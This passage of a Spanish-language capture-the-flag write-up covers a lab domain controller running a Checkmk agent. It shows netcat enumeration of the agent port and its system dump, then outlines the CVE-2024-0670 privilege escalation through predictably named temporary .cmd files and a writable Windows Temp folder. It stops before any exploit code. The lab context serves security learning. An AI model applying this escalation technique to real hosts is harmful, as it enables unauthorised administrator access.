d-----          4/5/2025   4:17 PM                spool                                                                
d-----          4/5/2025   4:17 PM                state                                                                
d-----          4/5/2025   4:17 PM                tmp                                                                  
d-----          4/5/2025   4:17 PM                update                                                               
-a----          4/5/2025   3:03 PM             24 allow-legacy-pull                                                    
-a----          6/7/2022   9:39 AM          16906 check_mk.user.example.yml                                            
-a----          6/7/2022   9:39 AM          16906 check_mk.user.yml                                                    
-a----         1/16/2026   4:38 AM            180 cmk-agent-ctl.toml                                                   
-a----          4/5/2025   4:17 PM             24 controller-flag                                                      


PS C:\programdata\checkmk\agent> cat cmk-agent-ctl.toml 
# Controlled by Check_MK Agent Bakery.
# This file is managed via WATO, do not edit manually or you
# lose your changes next time when you update the agent.

pull_port = 6556
PS C:\programdata\checkmk\agent> netstat -ano | findstr 6556
  TCP    0.0.0.0:6556           0.0.0.0:0              LISTENING       3984
  TCP    [::]:6556              [::]:0                 LISTENING       3984
PS C:\programdata\checkmk\agent>

Si realizamos una conexion con netcat a este puerto, nos devuelve informacion sobre la maquina, procesos, servicios, entre otros. En este observamos la version de checkmk 2.1.0p10 BuildDate Aug 19 2022.

❯ nc nanocorp.htb 6556
<<<check_mk>>>
Version: 2.1.0p10
BuildDate: Aug 19 2022
AgentOS: windows
Hostname: DC01
Architecture: 64bit
WorkingDirectory: C:\Windows\system32
ConfigFile: C:\Program Files (x86)\checkmk\service\check_mk.yml
LocalConfigFile: C:\ProgramData\checkmk\agent\check_mk.user.yml
AgentDirectory: C:\Program Files (x86)\checkmk\service
PluginsDirectory: C:\ProgramData\checkmk\agent\plugins
StateDirectory: C:\ProgramData\checkmk\agent\state
ConfigDirectory: C:\ProgramData\checkmk\agent\config
TempDirectory: C:\ProgramData\checkmk\agent\tmp
LogDirectory: C:\ProgramData\checkmk\agent\log
SpoolDirectory: C:\ProgramData\checkmk\agent\spool
LocalDirectory: C:\ProgramData\checkmk\agent\local
OnlyFrom: 
<<<cmk_agent_ctl_status:sep(0)>>>
{"version":"2.1.0p10","agent_socket_operational":true,"ip_allowlist":[],"allow_legacy_pull":true,"connections":[]}
<<<wmi_cpuload:sep(124)>>>
[system_perf]
Name|ProcessorQueueLength|Timestamp_PerfTime|Frequency_PerfTime|WMIStatus
|0|293565971037|10000000|OK
[computer_system]
Name|NumberOfLogicalProcessors|NumberOfProcessors|WMIStatus
DC01|2|1|OK
<<<uptime>>>
29356
<<<mem>>>
MemTotal:      4193312 kB
MemFree:       1912776 kB
SwapTotal:     1441792 kB
SwapFree:      1647384 kB
PageTotal:     5635104 kB
PageFree:      3560160 kB
VirtualTotal:  137438953344 kB
VirtualFree:   137434635168 kB
<<<fileinfo:sep(124)>>>
1762926150
<<<df:sep(9)>>>
C:\	NTFS	22298620	17611764	4686856	79%	C:\
<<<winperf_phydisk>>>
1762926150.93 234 10000000
2 instances: 0_C: _Total
-36 0 0 rawcount
-34 36408215003 36408215003 type(20570500)
-34 134073997509273041 134073997509273041 type(40030500)
1166 36408215003 36408215003 type(550500)
-32 26891695405 26891695405 type(20570500)
-32 134073997509273041 134073997509273041 type(40030500)
1168 26891695405 26891695405 type(550500)
-30 9516519598 9516519598 type(20570500)
-30 134073997509273041 134073997509273041 type(40030500)
1170 9516519598 9516519598 type(550500)
-28 2048476635 2048476635 average_timer
-28 591967 591967 average_base
-26 1121891629 1121891629 average_timer
-26 445390 445390 average_base
-24 926585006 926585006 average_timer
-24 146577 146577 average_base
-22 591967 591967 counter
-20 445390 445390 counter
-18 146577 146577 counter
-16 22306593792 22306593792 bulk_count
-14 19136152576 19136152576 bulk_count
-12 3170441216 3170441216 bulk_count
-10 22306593792 22306593792 average_bulk
-10 591967 591967 average_base
-8 19136152576 19136152576 average_bulk
-8 445390 445390 average_base
-6 3170441216 3170441216 average_bulk
-6 146577 146577 average_base
1248 275528287441 275528287441 type(20570500)
1248 134073997509273041 134073997509273041 type(40030500)
1250 10408 10408 counter
<<<winperf_if>>>
1762926150.94 510 10000000
1 instances: vmxnet3_Ethernet_Adapter
-122 27078369 bulk_count
-110 216814 bulk_count
-244 201648 bulk_count
-58 15166 bulk_count
10 10000000000 large_rawcount
-246 23293205 bulk_count
14 13447 bulk_count
16 188201 bulk_count
18 0 large_rawcount
20 0 large_rawcount
22 0 large_rawcount
-4 3785164 bulk_count
26 12119 bulk_count
28 3047 bulk_count
30 0 large_rawcount
32 0 large_rawcount
34 0 large_rawcount
1086 0 large_rawcount
1088 0 large_rawcount
1090 10 bulk_count
1092 0 bulk_count
1094 2484 large_rawcount
<<<winperf_processor>>>
1762926150.95 238 10000000
3 instances: 0 1 _Total
-232 269127812500 267834375000 268481093750 100nsec_timer_inv
-96 16756093750 17038593750 16897343750 100nsec_timer
-94 7682187500 8691562500 8186875000 100nsec_timer
-90 7826738 8231768 16058506 counter
458 123750000 775000000 449375000 100nsec_timer
460 64843750 628750000 346796875 100nsec_timer
1096 772962 657102 1430064 counter
1098 0 0 0 rawcount
1508 266444050300 266901393959 266672722129 100nsec_timer
1510 266444050300 266901393959 266672722129 100nsec_timer
1512 0 0 0 100nsec_timer
1514 0 0 0 100nsec_timer
1516 4589477 4176547 8766024 bulk_count
1518 0 0 0 bulk_count
1520 0 0 0 bulk_count
<<<services>>>
ADWS running/auto Active Directory Web Services
AJRouter stopped/demand AllJoyn Router Service
ALG stopped/demand Application Layer Gateway Service
AppIDSvc stopped/demand Application Identity
Appinfo stopped/demand Application Information
AppMgmt stopped/demand Application Management
AppReadiness stopped/demand App Readiness
AppVClient stopped/disabled Microsoft App-V Client
AppXSvc stopped/demand AppX Deployment Service (AppXSVC)
AudioEndpointBuilder stopped/demand Windows Audio Endpoint Builder
Audiosrv stopped/demand Windows Audio
AxInstSV stopped/disabled ActiveX Installer (AxInstSV)
BFE running/auto Base Filtering Engine
BITS stopped/demand Background Intelligent Transfer Service
BrokerInfrastructure running/auto Background Tasks Infrastructure Service
bthserv stopped/demand Bluetooth Support Service
camsvc running/demand Capability Access Manager Service
CDPSvc running/auto Connected Devices Platform Service
CertPropSvc running/demand Certificate Propagation
CheckmkService running/auto Checkmk Service
ClipSVC stopped/demand Client License Service (ClipSVC)
COMSysApp running/demand COM+ System Application
CoreMessagingRegistrar running/auto CoreMessaging
CryptSvc running/auto Cryptographic Services
CscService stopped/disabled Offline Files
DcomLaunch running/auto DCOM Server Process Launcher
dcsvc stopped/demand Declared Configuration(DC) service
defragsvc stopped/demand Optimize drives
DeviceAssociationService stopped/demand Device Association Service
DeviceInstall stopped/demand Device Install Service
DevQueryBroker stopped/demand DevQuery Background Discovery Broker
Dfs running/auto DFS Namespace
DFSR running/auto DFS Replication
Dhcp running/auto DHCP Client
diagnosticshub.standardcollector.service stopped/demand Microsoft (R) Diagnostics Hub Standard Collector Service
DiagTrack running/auto Connected User Experiences and Telemetry
DispBrokerDesktopSvc running/auto Display Policy Service
DmEnrollmentSvc stopped/demand Device Management Enrollment Service
dmwappushservice stopped/disabled Device Management Wireless Application Protocol (WAP) Push message Routing Service
DNS running/auto DNS Server
Dnscache running/auto DNS Client
DoSvc stopped/demand Delivery Optimization
dot3svc stopped/demand Wired AutoConfig
DPS running/auto Diagnostic Policy Service
DsmSvc running/demand Device Setup Manager
DsRoleSvc stopped/demand DS Role Server
DsSvc running/demand Data Sharing Service
EapHost stopped/demand Extensible Authentication Protocol
edgeupdate stopped/auto Microsoft Edge Update Service (edgeupdate)
edgeupdatem stopped/demand Microsoft Edge Update Service (edgeupdatem)
EFS stopped/demand Encrypting File System (EFS)
embeddedmode stopped/demand Embedded Mode
EntAppSvc stopped/demand Enterprise App Management Service
EventLog running/auto Windows Event Log
EventSystem running/auto COM+ Event System
fdPHost stopped/demand Function Discovery Provider Host
FDResPub stopped/demand Function Discovery Resource Publication
FontCache running/auto Windows Font Cache Service
FrameServer stopped/demand Windows Camera Frame Server
FrameServerMonitor stopped/demand Windows Camera Frame Server Monitor
gpsvc running/auto Group Policy Client
GraphicsPerfSvc stopped/disabled GraphicsPerfSvc
hidserv stopped/demand Human Interface Device Service
HvHost stopped/demand HV Host Service
IKEEXT running/auto IKE and AuthIP IPsec Keying Modules
InstallService stopped/demand Microsoft Store Install Service
iphlpsvc running/auto IP Helper
IsmServ running/auto Intersite Messaging
Kdc running/auto Kerberos Key Distribution Center
KdsSvc stopped/demand Microsoft Key Distribution Service
KeyIso running/demand CNG Key Isolation
KPSSVC stopped/demand KDC Proxy Server service (KPS)
KtmRm stopped/demand KtmRm for Distributed Transaction Coordinator
LanmanServer running/auto Server
LanmanWorkstation running/auto Workstation
lfsvc stopped/disabled Geolocation Service
LicenseManager running/demand Windows License Manager Service
lltdsvc stopped/disabled Link-Layer Topology Discovery Mapper
lmhosts stopped/demand TCP/IP NetBIOS Helper
LSM running/auto Local Session Manager
MapsBroker stopped/disabled Downloaded Maps Manager
McpManagementService stopped/demand McpManagementService
MicrosoftEdgeElevationService stopped/demand Microsoft Edge Elevation Service (MicrosoftEdgeElevationService)
mpssvc running/auto Windows Defender Firewall
MSDTC running/auto Distributed Transaction Coordinator
MSiSCSI stopped/demand Microsoft iSCSI Initiator Service
msiserver stopped/demand Windows Installer
NcaSvc stopped/demand Network Connectivity Assistant
NcbService running/demand Network Connection Broker
Netlogon running/auto Netlogon
Netman stopped/demand Network Connections
netprofm running/demand Network List Service
NetSetupSvc stopped/demand Network Setup Service
NetTcpPortSharing stopped/disabled Net.Tcp Port Sharing Service
NgcCtnrSvc stopped/demand Microsoft Passport Container
NgcSvc stopped/demand Microsoft Passport
NlaSvc running/auto Network Location Awareness
nsi running/auto Network Store Interface Service
NTDS running/auto Active Directory Domain Services
NtFrs stopped/disabled File Replication
PcaSvc running/auto Program Compatibility Assistant Service
PerfHost stopped/demand Performance Counter DLL Host
pla stopped/demand Performance Logs & Alerts
PlugPlay running/demand Plug and Play
PolicyAgent running/demand IPsec Policy Agent
Power running/auto Power
PrintNotify stopped/demand Printer Extensions and Notifications
ProfSvc running/auto User Profile Service
PushToInstall stopped/disabled Windows PushToInstall Service
QWAVE stopped/demand Quality Windows Audio Video Experience
RasAuto stopped/demand Remote Access Auto Connection Manager
RasMan running/auto Remote Access Connection Manager
RemoteAccess stopped/disabled Routing and Remote Access
RemoteRegistry stopped/auto Remote Registry
RmSvc stopped/disabled Radio Management Service
RpcEptMapper running/auto RPC Endpoint Mapper
RpcLocator stopped/demand Remote Procedure Call (RPC) Locator
RpcSs running/auto Remote Procedure Call (RPC)
RSoPProv stopped/demand Resultant Set of Policy Provider
sacsvr stopped/demand Special Administration Console Helper
SamSs running/auto Security Accounts Manager
SCardSvr stopped/demand Smart Card
ScDeviceEnum stopped/disabled Smart Card Device Enumeration Service
Schedule running/auto Task Scheduler
SCPolicySvc stopped/demand Smart Card Removal Policy
seclogon running/demand Secondary Logon
SecurityHealthService stopped/demand Windows Security Service
SEMgrSvc stopped/disabled Payments and NFC/SE Manager
SENS running/auto System Event Notification Service
Sense stopped/demand Windows Defender Advanced Threat Protection Service
SensorDataService stopped/disabled Sensor Data Service
SensorService stopped/demand Sensor Service
SensrSvc stopped/demand Sensor Monitoring Service
SessionEnv running/demand Remote Desktop Configuration
SgrmBroker stopped/demand System Guard Runtime Monitor Broker
SharedAccess stopped/disabled Internet Connection Sharing (ICS)
ShellHWDetection running/auto Shell Hardware Detection
shpamsvc stopped/disabled Shared PC Account Manager
smphost stopped/demand Microsoft Storage Spaces SMP
SNMPTRAP stopped/demand SNMP Trap
Spooler stopped/disabled Print Spooler
sppsvc stopped/auto Software Protection
SSDPSRV stopped/disabled SSDP Discovery
ssh-agent stopped/disabled OpenSSH Authentication Agent
SstpSvc running/demand Secure Socket Tunneling Protocol Service
StateRepository running/auto State Repository Service
StiSvc stopped/demand Windows Image Acquisition (WIA)
StorSvc running/auto Storage Service
svsvc stopped/demand Spot Verifier
swprv stopped/demand Microsoft Software Shadow Copy Provider
SysMain running/auto SysMain
SystemEventsBroker running/auto System Events Broker
TabletInputService running/demand Touch Keyboard and Handwriting Panel Service
tapisrv running/demand Telephony
TermService running/demand Remote Desktop Services
Themes stopped/disabled Themes
TieringEngineService stopped/demand Storage Tiers Management
TimeBrokerSvc running/demand Time Broker
TokenBroker running/demand Web Account Manager
TrkWks stopped/demand Distributed Link Tracking Client
TrustedInstaller stopped/demand Windows Modules Installer
tzautoupdate stopped/disabled Auto Time Zone Updater
UALSVC running/auto User Access Logging Service
UevAgentService stopped/disabled User Experience Virtualization Service
UmRdpService running/demand Remote Desktop Services UserMode Port Redirector
upnphost stopped/disabled UPnP Device Host
UserManager running/auto User Manager
UsoSvc running/auto Update Orchestrator Service
VaultSvc stopped/demand Credential Manager
vds running/demand Virtual Disk
VGAuthService running/auto VMware Alias Manager and Ticket Service
vm3dservice running/auto VMware SVGA Helper Service
vmicguestinterface stopped/demand Hyper-V Guest Service Interface
vmicheartbeat stopped/demand Hyper-V Heartbeat Service
vmickvpexchange stopped/demand Hyper-V Data Exchange Service
vmicshutdown stopped/demand Hyper-V Guest Shutdown Service
vmictimesync stopped/demand Hyper-V Time Synchronization Service
vmicvmsession stopped/demand Hyper-V PowerShell Direct Service
vmicvss stopped/demand Hyper-V Volume Shadow Copy Requestor
VMTools running/auto VMware Tools
vmvss stopped/demand VMware Snapshot Provider
VSS stopped/demand Volume Shadow Copy
W32Time running/auto Windows Time
WaaSMedicSvc stopped/demand Windows Update Medic Service
WalletService stopped/disabled WalletService
WarpJITSvc stopped/demand Warp JIT Service
WbioSrvc stopped/demand Windows Biometric Service
Wcmsvc running/auto Windows Connection Manager
WdiServiceHost stopped/demand Diagnostic Service Host
WdiSystemHost stopped/demand Diagnostic System Host
WdNisSvc running/demand Microsoft Defender Antivirus Network Inspection Service
Wecsvc stopped/demand Windows Event Collector
WEPHOSTSVC stopped/demand Windows Encryption Provider Host Service
wercplsupport stopped/demand Problem Reports Control Panel Support
WerSvc stopped/demand Windows Error Reporting Service
WiaRpc stopped/demand Still Image Acquisition Events
WinDefend running/auto Microsoft Defender Antivirus Service
WinHttpAutoProxySvc running/demand WinHTTP Web Proxy Auto-Discovery Service
Winmgmt running/auto Windows Management Instrumentation
WinRM running/auto Windows Remote Management (WS-Management)
wisvc stopped/disabled Windows Insider Service
wlidsvc stopped/demand Microsoft Account Sign-in Assistant
wmiApSrv stopped/demand WMI Performance Adapter
WMPNetworkSvc stopped/demand Windows Media Player Network Sharing Service
WPDBusEnum stopped/demand Portable Device Enumerator Service
WpnService running/auto Windows Push Notifications System Service
WSearch stopped/disabled Windows Search
wuauserv stopped/demand Windows Update
CaptureService_1dab18 stopped/demand CaptureService_1dab18
cbdhsvc_1dab18 running/auto Clipboard User Service_1dab18
CDPUserSvc_1dab18 running/auto Connected Devices Platform User Service_1dab18
ConsentUxUserSvc_1dab18 stopped/demand ConsentUX User Service_1dab18
CredentialEnrollmentManagerUserSvc_1dab18 stopped/demand CredentialEnrollmentManagerUserSvc_1dab18
DeviceAssociationBrokerSvc_1dab18 stopped/demand DeviceAssociationBroker_1dab18
DevicePickerUserSvc_1dab18 stopped/disabled DevicePicker_1dab18
DevicesFlowUserSvc_1dab18 stopped/demand DevicesFlow_1dab18
PimIndexMaintenanceSvc_1dab18 stopped/demand Contact Data_1dab18
PrintWorkflowUserSvc_1dab18 stopped/demand PrintWorkflow_1dab18
UdkUserSvc_1dab18 stopped/demand Udk User Service_1dab18
UnistoreSvc_1dab18 stopped/demand User Data Storage_1dab18
UserDataSvc_1dab18 stopped/demand User Data Access_1dab18
WpnUserService_1dab18 running/auto Windows Push Notifications User Service_1dab18
<<<checkmk_agent_plugins_win:sep(0)>>>
pluginsdir C:\ProgramData\checkmk\agent\plugins
localdir C:\ProgramData\checkmk\agent\local
<<<logwatch>>>
[[[Active Directory Web Services]]]
[[[Application]]]
[[[DFS Replication]]]
[[[Directory Service]]]
[[[DNS Server]]]
[[[HardwareEvents]]]
[[[Internet Explorer]]]
[[[Key Management Service]]]
[[[Security]]]
[[[System]]]
W Nov 11 21:04:11 0.1014 Microsoft-Windows-DNS-Client One of the files in the registry database had to be recovered by use of a log or alternate copy. The recovery was successful.  
[[[Windows PowerShell:missing]]]
<<<ps:sep(9)>>>
(SYSTEM,0,8,0,0,0,0,536962187500,0,4,29352)	System Idle Process
(SYSTEM,0,144,0,4,0,0,869218750,2319,128,29352)	System
(SYSTEM,0,19480,0,100,1,0,35312500,0,4,29357)	Registry
(SYSTEM,0,1232,0,352,1,312500,2031250,60,2,29352)	smss.exe
(SYSTEM,0,6544,0,448,2,12656250,51875000,494,11,29348)	csrss.exe
(SYSTEM,0,6072,0,548,1,468750,1093750,176,10,29348)	csrss.exe
(SYSTEM,0,7168,0,556,1,312500,781250,151,1,29348)	wininit.exe
(\\NT AUTHORITY\SYSTEM,2844,14816,0,616,2,937500,2187500,222,2,29347)	winlogon.exe
(SYSTEM,0,14288,0,688,5,15156250,12500000,645,7,29347)	services.exe
(\\NT AUTHORITY\SYSTEM,58712,70108,0,704,57,953906250,446875000,2253,30,29347)	lsass.exe
(\\NT AUTHORITY\SYSTEM,7212,24124,0,904,7,5781250,8906250,1024,10,29344)	svchost.exe
(\\Font Driver Host\UMFD-0,1500,3900,0,928,1,625000,2343750,39,5,29344)	fontdrvhost.exe
(\\Font Driver Host\UMFD-1,1564,4016,0,936,1,156250,468750,39,5,29344)	fontdrvhost.exe
(\\NT AUTHORITY\NETWORK SERVICE,6404,13376,0,1008,6,48437500,28437500,939,9,29344)	svchost.exe
(\\NT AUTHORITY\SYSTEM,2884,11456,0,444,2,12187500,10000000,340,4,29344)	svchost.exe
(\\Window Manager\DWM-1,17408,43448,0,780,17,3281250,2343750,635,16,29344)	dwm.exe
(\\NT AUTHORITY\NETWORK SERVICE,10312,25736,0,1004,10,13906250,12500000,701,30,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,3136,7756,0,1056,3,937500,1875000,132,3,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,1804,12580,0,1064,1,156250,312500,177,2,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,1648,7552,0,1072,1,0,0,197,4,29343)	svchost.exe
(\\NT AUTHORITY\SYSTEM,1996,10208,0,1080,1,156250,625000,212,1,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,2204,8044,0,1148,2,3281250,3906250,225,5,29343)	svchost.exe
(\\NT AUTHORITY\NETWORK SERVICE,3468,10584,0,1212,3,32187500,43281250,301,11,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,14916,19816,0,1256,14,50156250,32031250,384,7,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,10904,21168,0,1364,10,8593750,5000000,429,12,29343)	svchost.exe
(\\NT AUTHORITY\SYSTEM,3380,14360,0,1404,3,11093750,21875000,315,7,29343)	svchost.exe
(\\NT AUTHORITY\SYSTEM,2840,12392,0,1412,2,16406250,43593750,216,5,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,2864,9416,0,1440,2,5000000,1250000,442,4,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,1432,6420,0,1496,1,156250,156250,150,2,29343)	svchost.exe
(\\NT AUTHORITY\NETWORK SERVICE,4160,13468,0,1560,4,468750,625000,394,4,29343)	svchost.exe
(\\NT AUTHORITY\SYSTEM,1900,8912,0,1576,1,156250,2656250,185,2,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,1968,9208,0,1664,1,156250,156250,291,3,29343)	svchost.exe
(\\NT AUTHORITY\SYSTEM,5448,16108,0,1672,5,16406250,46406250,382,11,29343)	svchost.exe
(\\NT AUTHORITY\SYSTEM,2104,13076,0,1712,2,312500,468750,198,2,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,1672,7096,0,1752,1,0,312500,166,5,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,1788,7932,0,1760,1,1093750,2812500,170,2,29343)	svchost.exe
(\\NT AUTHORITY\SYSTEM,1508,7600,0,1820,1,0,156250,162,2,29343)	svchost.exe
(\\NT AUTHORITY\SYSTEM,3860,12068,0,1888,3,3125000,6718750,306,4,29343)	svchost.exe
(\\NT AUTHORITY\NETWORK SERVICE,2224,9860,0,1964,2,4531250,5156250,224,5,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,2816,11192,0,2020,2,4218750,3906250,435,4,29343)	svchost.exe
(\\NT AUTHORITY\SYSTEM,2712,10888,0,2052,2,468750,2812500,363,5,29343)	svchost.exe
(\\NT AUTHORITY\SYSTEM,1468,7276,0,2064,1,0,312500,158,3,29343)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,1368,7512,0,2192,1,312500,0,126,1,29343)	svchost.exe
(\\NT AUTHORITY\SYSTEM,2152,9872,0,2276,2,0,312500,226,4,29343)	svchost.exe
(\\NT AUTHORITY\SYSTEM,2484,9556,0,2556,2,2187500,2343750,207,5,29343)	svchost.exe
(\\NT AUTHORITY\NETWORK SERVICE,1884,7852,0,2712,1,4375000,625000,165,3,29342)	svchost.exe
(\\NT AUTHORITY\SYSTEM,2340,9488,0,3000,2,1875000,2031250,209,6,29334)	svchost.exe
(\\NT AUTHORITY\NETWORK SERVICE,4240,15376,0,2128,4,238750000,173593750,276,6,29334)	svchost.exe
(\\NT AUTHORITY\SYSTEM,58440,76552,0,2152,57,560937500,98125000,554,14,29334)	Microsoft.ActiveDirectory.WebServices.exe
(\\NT AUTHORITY\SYSTEM,13516,30616,0,1428,13,10156250,9843750,485,8,29334)	svchost.exe
(\\NT AUTHORITY\SYSTEM,7944,18764,0,2288,7,7187500,15156250,295,15,29334)	check_mk_agent.exe
(\\NT AUTHORITY\SYSTEM,17128,26020,0,2228,16,58437500,34062500,420,16,29334)	dfsrs.exe
(\\NT AUTHORITY\SYSTEM,2644,8728,0,2764,2,0,937500,271,4,29334)	svchost.exe
(\\NT AUTHORITY\SYSTEM,1988,6700,0,2596,1,0,0,160,7,29334)	ismserv.exe
(\\NT AUTHORITY\SYSTEM,69216,71304,0,2520,67,6406250,4062500,5396,16,29334)	dns.exe
(\\NT AUTHORITY\LOCAL SERVICE,1648,7428,0,2856,1,0,312500,155,1,29334)	svchost.exe
(\\NT AUTHORITY\SYSTEM,5404,13684,0,2600,5,19062500,5937500,157,3,29334)	svchost.exe
(\\NT AUTHORITY\SYSTEM,1548,7068,0,1900,1,0,468750,139,2,29334)	svchost.exe
(\\NT AUTHORITY\SYSTEM,1892,6396,0,3076,1,312500,0,156,11,29334)	dfssvc.exe
(\\NT AUTHORITY\SYSTEM,1572,6792,0,3132,1,156250,0,128,3,29334)	vm3dservice.exe
(\\NT AUTHORITY\SYSTEM,10924,24776,0,3148,10,15156250,14218750,406,13,29334)	vmtoolsd.exe
(\\NT AUTHORITY\SYSTEM,2480,11028,0,3156,2,0,156250,167,2,29334)	VGAuthService.exe
(\\NT AUTHORITY\SYSTEM,11232,21244,0,3176,10,262968750,131718750,448,22,29334)	svchost.exe
(SYSTEM,0,226144,0,3192,185,5933437500,3702968750,645,23,29334)	MsMpEng.exe
(\\NT AUTHORITY\NETWORK SERVICE,3236,13952,0,3232,3,937500,937500,272,5,29334)	svchost.exe
(\\NT AUTHORITY\SYSTEM,1516,12084,0,3240,1,0,156250,140,1,29334)	svchost.exe
(\\NT AUTHORITY\NETWORK SERVICE,2320,9328,0,3348,2,0,156250,247,7,29334)	svchost.exe
(\\NT AUTHORITY\SYSTEM,1692,7076,0,3504,1,156250,2031250,134,4,29334)	vm3dservice.exe
(\\NT AUTHORITY\SYSTEM,2440,11604,0,3864,2,312500,625000,209,11,29333)	vds.exe
(\\NT AUTHORITY\SYSTEM,2116,8488,0,3884,2,0,0,137,7,29333)	cmk-agent-ctl.exe
(\\NT AUTHORITY\SYSTEM,1476,6660,0,3696,1,1250000,625000,114,2,29333)	AggregatorHost.exe
(\\NT AUTHORITY\SYSTEM,3840,14696,0,3484,3,2187500,1093750,279,10,29333)	dllhost.exe
(\\NT AUTHORITY\NETWORK SERVICE,2896,11140,0,4228,2,468750,625000,238,9,29332)	msdtc.exe
(\\NT AUTHORITY\NETWORK SERVICE,11864,24084,0,4252,11,206718750,182187500,414,9,29332)	WmiPrvSE.exe
(\\NT AUTHORITY\SYSTEM,2372,4028,0,4484,2,468750,468750,220,3,29332)	MicrosoftEdgeUpdate.exe
(SYSTEM,0,10976,0,4004,3,312500,468750,210,4,29328)	NisSrv.exe
(\\NT AUTHORITY\SYSTEM,3580,14244,0,2960,3,156250,625000,403,12,29306)	svchost.exe
(\\NT AUTHORITY\SYSTEM,11424,45656,0,5260,11,1875000,6875000,463,9,29305)	LogonUI.exe
(\\NT AUTHORITY\SYSTEM,4040,18604,0,5960,3,25312500,60156250,317,1,29302)	svchost.exe
(\\NANOCORP\web_svc,10096,1724,0,5040,9,2031250,1875000,172,1,29242)	httpd.exe
(\\NANOCORP\web_svc,6560,728,0,5012,6,625000,1093750,140,4,29242)	conhost.exe
(\\NANOCORP\web_svc,17660,3064,0,5440,17,1406250,2343750,481,153,29240)	httpd.exe
(\\NT AUTHORITY\LOCAL SERVICE,2744,13636,0,5768,2,156250,625000,237,4,29186)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,17228,20240,0,2916,16,21093750,107031250,303,22,29186)	svchost.exe
(\\NT AUTHORITY\SYSTEM,4064,11876,0,5456,3,156250,3750000,259,6,29185)	svchost.exe
(\\NT AUTHORITY\SYSTEM,7988,15728,0,1868,7,1093750,2031250,268,8,29185)	svchost.exe
(\\NT AUTHORITY\SYSTEM,2896,12460,0,660,2,625000,625000,239,10,29183)	svchost.exe
(\\NT AUTHORITY\SYSTEM,6176,10892,0,760,6,0,312500,193,4,28731)	svchost.exe
(SYSTEM,0,6704,0,3276,1,2812500,8281250,243,8,28664)	csrss.exe
(\\NT AUTHORITY\SYSTEM,2416,11092,0,1284,2,625000,3125000,253,2,28664)	winlogon.exe
(\\Font Driver Host\UMFD-2,1624,4416,0,4968,1,468750,2187500,39,5,28661)	fontdrvhost.exe
(\\Window Manager\DWM-2,11464,38460,0,4128,11,20781250,15937500,710,17,28661)	dwm.exe
(\\NANOCORP\web_svc,2300,11428,0,1128,2,2812500,4843750,303,6,28658)	rdpclip.exe
(\\NANOCORP\web_svc,4936,26792,0,1280,4,3281250,2031250,495,7,28658)	sihost.exe
(\\NANOCORP\web_svc,2772,13416,0,3724,2,781250,2812500,220,3,28658)	svchost.exe
(\\NANOCORP\web_svc,5136,26400,0,2212,5,1406250,781250,326,2,28658)	svchost.exe
(\\NANOCORP\web_svc,2312,12040,0,2308,2,156250,468750,185,2,28657)	taskhostw.exe
(\\NT AUTHORITY\SYSTEM,2888,15380,0,2812,2,3593750,625000,225,2,28657)	svchost.exe
(\\NT AUTHORITY\SYSTEM,1576,7872,0,4936,1,156250,2343750,173,3,28657)	svchost.exe
(\\NANOCORP\web_svc,3268,15260,0,6212,3,312500,937500,366,8,28657)	ctfmon.exe
(\\NT AUTHORITY\SYSTEM,2008,11064,0,6372,1,312500,781250,166,1,28657)	svchost.exe
(\\NANOCORP\web_svc,27664,92156,0,6620,27,56875000,78437500,1576,34,28656)	explorer.exe
(\\NANOCORP\web_svc,12576,53956,0,7040,12,2500000,2343750,569,10,28652)	StartMenuExperienceHost.exe
(\\NANOCORP\web_svc,10016,43164,0,7080,9,1875000,1562500,544,8,28651)	TextInputHost.exe
(\\NANOCORP\web_svc,2636,16332,0,6056,2,156250,625000,192,1,28651)	RuntimeBroker.exe
(\\NANOCORP\web_svc,31896,66860,0,5544,31,18906250,11406250,670,15,28650)	SearchApp.exe
(\\NANOCORP\web_svc,20272,39004,0,6696,19,7187500,11250000,321,1,28648)	RuntimeBroker.exe
(\\NANOCORP\web_svc,2280,13280,0,7224,2,781250,1250000,225,1,28646)	RuntimeBroker.exe
(\\NT AUTHORITY\SYSTEM,7888,31016,0,7716,7,937500,2812500,355,5,28638)	LogonUI.exe
(\\NANOCORP\web_svc,3132,12504,0,8108,3,0,156250,203,1,28635)	AzureArcSysTray.exe
(\\NANOCORP\web_svc,2260,14528,0,3480,2,156250,156250,171,2,28538)	svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,2412,14680,0,7748,2,156250,312500,178,2,22103)	svchost.exe
(\\NANOCORP\monitoring_svc,69644,95052,0,6296,68,16562500,6250000,1325,13,2703)	wsmprovhost.exe
(\\NT AUTHORITY\SYSTEM,1272,6288,0,4620,1,312500,0,120,2,2547)	svchost.exe
(\\NANOCORP\web_svc,116868,129384,0,6900,114,48750000,19687500,765,14,2546)	powershell.exe
(\\NANOCORP\web_svc,2660,6800,0,7972,2,1250000,10312500,86,2,2546)	conhost.exe
<<<>>>
<<<>>>
<<<systemtime>>>
1762926156

Privesc via CVE-2024-0670

Encontramos que existe la vulnerabilidad Local Privilege Escalation via writable files (CVE-2024-0670). Esta vulnerabilidad toma ventaja de un archivo temporal que CheckMK ejecuta tras realizar la reparacion de este. El nombre del archivo que ejecuta incluyen numeros que pueden ser “predecidos” (cmk_all_{}_{}.cmd) por lo que es posible agregar comandos que se ejecutarian como administrador.

Para explotar la vulnerabilidad inicialmente se necesita acceso a C:\Windows\Temp, para este caso web_svc tiene acceso.

PS C:\Windows\system32> icacls C:/windows/temp
C:/windows/temp BUILTIN\Users:(CI)(S,WD,AD,X)
                BUILTIN\Administrators:(F)
                BUILTIN\Administrators:(OI)(CI)(IO)(F)
                NT AUTHORITY\SYSTEM:(F)
                NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                CREATOR OWNER:(OI)(CI)(IO)(F)
                NANOCORP\web_svc:(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files
PS C:\Windows\system32>

